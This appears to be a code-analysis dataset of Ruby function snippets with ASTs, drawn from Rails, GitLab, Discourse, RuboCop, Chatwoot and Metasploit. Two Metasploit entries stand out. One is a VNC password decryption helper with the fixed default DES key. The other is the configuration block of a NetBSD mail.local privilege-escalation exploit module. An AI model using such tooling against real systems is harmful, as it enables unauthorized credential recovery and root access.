{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/quoting_test.rb","start_line":80,"raw_source":"def test_raise_when_int_is_wider_than_64bit\n          value = 9223372036854775807 + 1\n          assert_raise ActiveRecord::ConnectionAdapters::PostgreSQL::Quoting::IntegerOutOf64BitRange do\n            @conn.quote(value)\n          end\n\n          value = -9223372036854775808 - 1\n          assert_raise ActiveRecord::ConnectionAdapters::PostgreSQL::Quoting::IntegerOutOf64BitRange do\n            @conn.quote(value)\n          end\n        end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_raise_when_int_is_wider_than_64bit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[9223372036854775807]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"PostgreSQL\"]},\"Quoting\"]},\"IntegerOutOf64BitRange\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conn\"]},\"quote\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[-9223372036854775808]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"PostgreSQL\"]},\"Quoting\"]},\"IntegerOutOf64BitRange\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conn\"]},\"quote\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"a7966ce1-3222-4c85-b0c7-122a2b7c6cd2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/rfb/cipher.rb","start_line":64,"raw_source":"def self.decrypt(cipher, password = \"\\x17\\x52\\x6b\\x06\\x23\\x4e\\x58\\x07\")\n    key = self.mangle_password(password)\n\n    # pad the cipher text to 9 bytes\n    cipher << (\"\\x00\" * (9 - cipher.length)) if cipher.length < 9\n\n    # NOTE: This only does one 8 byte block\n    plain = ''\n    c = OpenSSL::Cipher.new('des')\n    c.decrypt\n    c.key = key\n    c.update(cipher)\n  end","complexity_score":18.53,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"decrypt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cipher\"]},{\"type\":\"optarg\",\"children\":[\"password\",{\"type\":\"str\",\"children\":[\"\\u0017Rk\\u0006#NX\\u0007\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mangle_password\",{\"type\":\"lvar\",\"children\":[\"password\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"length\"]},\"<\",{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"<<\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[9]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cipher\"]},\"length\"]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"plain\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"new\",{\"type\":\"str\",\"children\":[\"des\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"decrypt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"key=\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"cipher\"]}]}]}]}","id":"cedb2078-ef6b-49cd-b5b1-fecc7e9d5262"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/jira_connect/public_key.rb","start_line":13,"raw_source":"def self.create!(key:)\n      new(key: key, uuid: Gitlab::UUID.v5(SecureRandom.hex)).save!\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UUID\"]},\"v5\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\"]}]}]}]}]},\"save!\"]}]}","id":"08f263d8-8618-4f0d-ad0b-a40ce081eab8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240930074438_create_custom_fields.rb","start_line":6,"raw_source":"def change\n    create_table :custom_fields do |t|\n      t.references :namespace, index: false, foreign_key: { on_delete: :cascade }, null: false\n      t.timestamps_with_timezone null: false\n      t.datetime_with_timezone :archived_at\n      t.integer :field_type, null: false, limit: 2\n      t.text :name, null: false, limit: 255\n\n      t.index 'namespace_id, LOWER(name)',\n        name: 'idx_custom_fields_on_namespace_id_and_lower_name', unique: true\n    end\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"custom_fields\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime_with_timezone\",{\"type\":\"sym\",\"children\":[\"archived_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"field_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"str\",\"children\":[\"namespace_id, LOWER(name)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"idx_custom_fields_on_namespace_id_and_lower_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"c2d7c178-7218-446a-ab49-16348da8c804"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/conversation.rb","start_line":200,"raw_source":"def execute_after_update_commit_callbacks\n    handle_resolved_status_change\n    notify_status_change\n    create_activity\n    notify_conversation_updation\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_after_update_commit_callbacks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_resolved_status_change\"]},{\"type\":\"send\",\"children\":[null,\"notify_status_change\"]},{\"type\":\"send\",\"children\":[null,\"create_activity\"]},{\"type\":\"send\",\"children\":[null,\"notify_conversation_updation\"]}]}]}","id":"04093cec-caf0-4d09-9d4d-3fd4a5dade85"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_lines_around_block_body.rb","start_line":30,"raw_source":"def on_block(node)\n          first_line = node.send_node.last_line\n\n          check(node, node.body, adjusted_first_line: first_line)\n        end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_block\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first_line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"send_node\"]},\"last_line\"]}]},{\"type\":\"send\",\"children\":[null,\"check\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adjusted_first_line\"]},{\"type\":\"lvar\",\"children\":[\"first_line\"]}]}]}]}]}]}","id":"2d147ab1-4700-4a37-98da-658c5fcf39e1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/local/netbsd_mail_local.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'NetBSD mail.local Privilege Escalation',\n        'Description' => %q{\n          This module attempts to exploit a race condition in mail.local with SUID bit set on:\n          NetBSD 7.0 - 7.0.1 (verified on 7.0.1)\n          NetBSD 6.1 - 6.1.5\n          NetBSD 6.0 - 6.0.6\n          Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'h00die <mike@shorebreaksecurity.com>', # Module\n          'akat1' # Discovery\n        ],\n\n        'DisclosureDate' => '2016-07-07',\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'SessionTypes' => %w[shell meterpreter],\n        'Privileged' => true,\n        'Payload' => {\n          'Compat' => {\n            'PayloadType' => 'cmd',\n            'RequiredCmd' => 'generic openssl'\n          }\n        },\n        'Targets' => [\n          [ 'Automatic Target', {}]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => { 'WfsDelay' => 603 }, # can take 10min for cron to kick\n        'References' => [\n          [ 'URL', 'http://akat1.pl/?id=2'],\n          [ 'EDB', '40141'],\n          [ 'CVE', '2016-6253'],\n          [ 'URL', 'http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc']\n        ],\n        'Notes' => {\n          'Reliability' => [REPEATABLE_SESSION],\n          'Stability' => [OS_RESOURCE_LOSS],\n          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\n        }\n      )\n    )\n    register_options([\n      OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']),\n      OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']),\n      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),\n      OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603])\n    ])\n  end","complexity_score":9.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"NetBSD mail.local Privilege Escalation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module attempts to exploit a race condition in mail.local with SUID bit set on:\\n\"]},{\"type\":\"str\",\"children\":[\"          NetBSD 7.0 - 7.0.1 (verified on 7.0.1)\\n\"]},{\"type\":\"str\",\"children\":[\"          NetBSD 6.1 - 6.1.5\\n\"]},{\"type\":\"str\",\"children\":[\"          NetBSD 6.0 - 6.0.6\\n\"]},{\"type\":\"str\",\"children\":[\"          Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die <mike@shorebreaksecurity.com>\"]},{\"type\":\"str\",\"children\":[\"akat1\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2016-07-07\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic openssl\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic Target\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[603]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://akat1.pl/?id=2\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"40141\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2016-6253\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OS_RESOURCE_LOSS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ATRUNPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Location of atrun binary\"]},{\"type\":\"str\",\"children\":[\"/usr/libexec/atrun\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"MAILDIR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Location of mailboxes\"]},{\"type\":\"str\",\"children\":[\"/var/mail\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WritableDir\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A directory where we can write files\"]},{\"type\":\"str\",\"children\":[\"/tmp\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"ListenerTimeout\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Number of seconds to wait for the exploit\"]},{\"type\":\"int\",\"children\":[603]}]}]}]}]}]}]}","id":"7baa626c-1e3e-4e64-8d90-6ced62981c38"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/mcp/tools/base_service.rb","start_line":42,"raw_source":"def validate_arguments!(arguments)\n        schemer = JSONSchemer.schema(input_schema)\n        json_arguments = arguments ? arguments.deep_stringify_keys : {}\n        errors = schemer.validate(json_arguments).to_a\n\n        return if errors.empty?\n\n        validations = errors.map do |error|\n          if error['type'] == 'required'\n            \"#{error['details']['missing_keys'].first} is missing\"\n          else\n            field = error['data_pointer'].sub(%r{^/}, '')\n            \"#{field} is invalid\"\n          end\n        end.uniq\n\n        raise ArgumentError, validations.join(', ')\n      end","complexity_score":31.7,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_arguments!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arguments\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"schemer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSONSchemer\"]},\"schema\",{\"type\":\"send\",\"children\":[null,\"input_schema\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json_arguments\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},\"deep_stringify_keys\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"errors\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schemer\"]},\"validate\",{\"type\":\"lvar\",\"children\":[\"json_arguments\"]}]},\"to_a\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"validations\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"required\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"[]\",{\"type\":\"str\",\"children\":[\"details\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"missing_keys\"]}]},\"first\"]}]},{\"type\":\"str\",\"children\":[\" is missing\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data_pointer\"]}]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]}]},{\"type\":\"str\",\"children\":[\" is invalid\"]}]}]}]}]},\"uniq\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validations\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}","id":"5fa442df-a835-4097-96d4-a9e1aef91a91"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/database_restorer.rb","start_line":236,"raw_source":"def self.backup_schema_dropable?\n      return false unless ActiveRecord::Base.connection.schema_exists?(BACKUP_SCHEMA)\n\n      if last_restore_date = BackupMetadata.last_restore_date\n        return last_restore_date + DROP_BACKUP_SCHEMA_AFTER_DAYS.days < Time.zone.now\n      end\n\n      BackupMetadata.update_last_restore_date\n      false\n    end","complexity_score":13.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"backup_schema_dropable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"schema_exists?\",{\"type\":\"const\",\"children\":[null,\"BACKUP_SCHEMA\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"last_restore_date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"last_restore_date\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_restore_date\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DROP_BACKUP_SCHEMA_AFTER_DAYS\"]},\"days\"]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"update_last_restore_date\"]},{\"type\":\"false\",\"children\":[]}]}]}","id":"85211a4f-a6b0-4fd6-8204-c8255f2b8e2f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/create_service.rb","start_line":350,"raw_source":"def import_schedule\n      if @project.errors.empty?\n        @project.import_state.schedule if @project.import? && !@project.gitlab_project_migration?\n      else\n        fail(error: @project.errors.full_messages.join(', '))\n      end\n    end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"import_schedule\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"errors\"]},\"empty?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"import?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"gitlab_project_migration?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"import_state\"]},\"schedule\"]},null]},{\"type\":\"send\",\"children\":[null,\"fail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}","id":"802ea3b3-7d98-45b7-9cd6-c131c4dbdebb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/exclusive_lease_helpers.rb","start_line":37,"raw_source":"def expect_to_cancel_exclusive_lease(key, uuid)\n    expect(Gitlab::ExclusiveLease)\n      .to receive(:cancel)\n      .with(key, uuid)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_to_cancel_exclusive_lease\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"uuid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ExclusiveLease\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"cancel\"]}]},\"with\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"uuid\"]}]}]}]}","id":"bd4368f8-4994-4c81-820f-571062338272"}
